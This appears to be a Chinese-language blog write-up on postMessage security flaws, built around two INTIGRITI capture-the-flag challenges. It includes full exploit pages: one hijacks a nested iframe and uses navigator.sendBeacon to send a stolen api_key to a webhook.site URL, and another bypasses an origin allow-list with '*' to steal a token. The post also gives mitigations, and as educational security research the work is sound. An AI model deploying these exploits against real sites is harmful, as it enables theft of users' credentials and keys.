这篇文章发表于 703 天前,可能其部分内容已经发生变化,如有疑问可询问作者。
最近看到两个比较有意思的postMessage
安全问题,虽然简单但是有趣。
通常对于两个不同页面的脚本,只有当执行它们的页面位于具有相同的协议(通常为https
)、端口号以及主机(两个页面的document.domain
设置为相同的值)时,这两个脚本才能相互通信。但window.postMessage
方法可以突破以上这种限制,安全地实现跨域通信。其用法 看起来很简单:
1 otherWindow.postMessage(message, targetOrigin, [transfer]);
otherWindow
其他窗口的一个引用,比如iframe的contentWindow
属性、执行window.open 返回的窗口对象、或者是命名过或数值索引的window.frames (en-US) 。
message
将要发送到其他window的数据。它将会被结构化克隆算法 (en-US) 序列化。这意味着你可以不受什么限制的将数据对象安全的传送给目标窗口而无需自己序列化。
targetOrigin
通过窗口的 origin 属性来指定哪些窗口能接收到消息事件,其值可以是字符*
(表示无限制)或者一个URI。在发送消息的时候,如果目标窗口的协议、主机地址或端口这三者的任意一项不匹配targetOrigin
提供的值,那么消息就不会被发送;只有三者完全匹配,消息才会被发送。这个机制用来控制消息可以发送到哪些窗口;例如,当用postMessage
传送密码时,这个参数就显得尤为重要,必须保证它的值与这条包含密码的信息的预期接受者的origin
属性完全一致,来防止密码被恶意的第三方截获。如果你明确的知道消息应该发送到哪个窗口,那么请始终提供一个有确切值的targetOrigin
,而不是*
。不提供确切的目标将导致数据泄露到任何对数据感兴趣的恶意站点。
transfer
(可选) 是一串和 message 同时传递的 Transferable
对象。这些对象的所有权将被转移给消息的接收方,而发送一方将不再保有所有权。
可以看到targetOrigin
这里面解释很多,其中安全问题似乎和*
这个字符有关,这也就是本文想重点说明的。
基础用法 首先来看看,postMessage
实现跨域通信的一个最简单的例子。
比如说以下html
页面是www.example1.com
的默认页面:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Example1</title > </head > <body > <iframe src ="https://www.example2.com/index.html" > </iframe > <script > setTimeout (() => { frames[0 ].postMessage({'posted' : "data_test" }, 'https://www.example2.com' ); }, 5000 ) </script > </body > </html >
然后在另一个www.example2.com
的index.html
页面监听发送过来的消息即可:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Example2</title > </head > <body > <script > window .onload = () => { function receiveMessage (event ) { event = event || window .event; if (event.origin == "https://www.example1.com" ) { alert(event.data.posted); } } if (window .addEventListener) { window .addEventListener("message" , receiveMessage, false ); } else if (window .attachEvent) { window .attachEvent("onmessage" , receiveMessage); } } </script > </body > </html >
然后在www.example2.com
的控制台中就能够获得发送过来的信息。总之,这个例子实现了非常简单的跨域通信。
但这里有两点需要注意,
第一点www.example1.com
里面的postMessage
那行注释里面的*
可导致攻击
第二点www.example2.com
里面的origin
的判断很重要,如果里面有敏感操作的话。如果是IDN主机名,那么origin
属性值不是始终为Unicode 或punycode ,您需要最大程度地兼容性检查
对通配符情况的攻击 某些情况需要跨页面(比如跨域但是同站)传递秘密消息。就比如像上面这样,postMessage
里面的data是秘密然而targetOrigin
是字符*
的情况。
INTIGRITI某次的题目 就是这种情况。大概index.html
是下面这样:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <head > <meta http-equiv ="Content-Security-Policy" content ="default-src 'self'; script-src 'unsafe-inline';" ></head > <script > setTimeout (() => { const value = `; ${document .cookie} ` ; const parts = value.split(`; api_key=` ); let api_key = parts.pop().split(';' ).shift(); frames[0 ].postMessage({'api_key' : api_key}, '*' ); }, 5000 ) </script > <iframe src ="verify_api_key.html" > </iframe >
然后verify_api_key.html
里面的代码如下:
1 2 3 4 5 6 7 8 9 <script > function verify_api_key (api_key ) { document .write(api_key); } onmessage = (e ) => { if (e.data.api_key != undefined ) verify_api_key(e.data.api_key); } </script >
最后需要你实现的效果就是某个含api_key
的受害者访问你构造的页面,然后你盗取了他的api_key
——就这样一个简单的场景。
其实这个玩法早就被老外玩过了,2020年Google Docs的一个0day 其实就用到了这个攻击方法。
怎么能让人快速理解呢?且看下面这张图(来自这里 ,那里面场景不同但意思相同)。
可以看到里面的reconless.com
就是攻击者构造的页面,这个页面有个iframe
,而iframe-src
就是victim page(就是上面的index.html
)。当然在这时,iframe
页面里面还有个指向verify_api_key.html
的iframe
。可是我们看到图中的verify_api_key.html
似乎被篡改成了reconless.com
,这可能做到吗?显然可以,修改类似于这样的window.frames[0].frame[0].location
指向网址即可实现(location
是少数能这样直接修改的属性之一!)。然后最里面这层reconless.com
里面的js脚本功能只需要像verify_api_key.html
这页面那样接收秘密,我们便能够成功盗取victim page主动发过来的信息,因为它postMessage
里面的*
会让该函数跳过对于网址的检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > EXP</title > </head > <body > <iframe src ="https://www.example1.com/index.html" > </iframe > <script > setTimeout (() => { window .frames[0 ][0 ].location = "https://www.example2.com" ; }, 1000 ); setTimeout (() => { frames[0 ][0 ].document.write(`<script> onmessage = (e) => { if (e.data.api_key != undefined) navigator.sendBeacon("https://webhook.site/0e998d85-5b6d-48c3-8f85-2c1fb4eb7c68", e.data.api_key); alert(e.data.api_key); } <\/script>` ); }, 2000 ); </script > </body > </html >
似乎很简单,但实践起来有点问题,就是victim page的CSP规则——它会阻止最内层的reconless.com
里面的脚本运行。
但想要bypass它也不是什么难事,用到了about:blank
这个页面,这其实是一个浏览器特性——该页面作为iframe-src不会被CSP组止,详情见该讨论 。因此里面的脚本自然会被运行。
最后想要阻止这种攻击发生的话也比较容易,可以使用X-Frame-Options 或者在PostMessage
的时候明确指定的页面。
origin未判断 这个场景INTIGRITI也有道题目 ,而且这个场景有助于进一步理解上文。题目大概是这样的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <title > Login Frame</title > <script type ="text/JavaScript" > const allowed = [ window .location.host, "localhost" ]; window .addEventListener('message' , (event ) => { const anchor = document .createElement('a' ); anchor.href = event.data.domain; const isAllowed = allowed.filter(d => { return d === anchor.host }).length > 0 ; if (isAllowed) { const data = { token : "passw0rddd" }; window .parent.postMessage( data, event.data.domain ); } }); </script >
网页的逻辑大致如下:
监听message事件
如果是被允许的host的话(本地localhost和本域名),进入下一步的postMessage
函数并向event.data.domain
发送秘密消息
这里允许的host比较有意思,一开始被赋值的是anchor.href
,然而在判断的时候用到的是anchor.host
,但这里应该不至于有什么BUG。
显然在受害页面中,因为没有判断origin
,所以我们能够随心所欲地控制event.data
输入。这里主要的问题就只有绕过那个isAllowed
的判断。而这里有个技巧就是令其为*
。
下面这个是测试页面http://127.0.0.1:8000/test.html
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <script > const anchor = document .createElement('a' ); anchor.href = "*" ; </script > </body > </html >
然后在另打开http://127.0.0.1:3000/toiframetest.html
,
1 2 3 4 5 6 7 8 9 10 11 12 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <iframe src ="http://127.0.0.1:8000/test.html" > </iframe > </body > </html >
在控制台切换到test.html
页面,得到如下输出:
1 2 3 4 5 6 7 8 anchor.href 'http://127.0.0.1:8000/*' anchor.host '127.0.0.1:8000' location.host '127.0.0.1:8000'
自然而然就实现了绕过(其实单个绕过并不难,#
这种甚至比较随意的都行,但后面postMessage
的网址就会出错)。然后就是触发window.parent.postMessage(data, '*');
这个函数,而这就相当于没有任何检验,导致postMessage
直接把秘密发给攻击者了。
以下是完整EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <!DOCTYPE html > <html lang ="en" > <head > <meta charset ="UTF-8" > <meta http-equiv ="X-UA-Compatible" content ="IE=edge" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Document</title > </head > <body > <iframe id ="Frameid" src ="http://127.0.0.1:8000/index.html" onload ="postMessagefunc()" > </iframe > <script > function postMessagefunc ( ) { const frame = document .getElementById('Frameid' ); frame.contentWindow.postMessage({"domain" :"*" }, "*" ); } window .addEventListener("message" , function (event ) { if (event.data.token != undefined ) document .body.innerHTML = event.data.token; }) </script > </body > </html >
UCASZ
人生匆忙,文章仓皇。内容如有问题请及时指正,谢谢。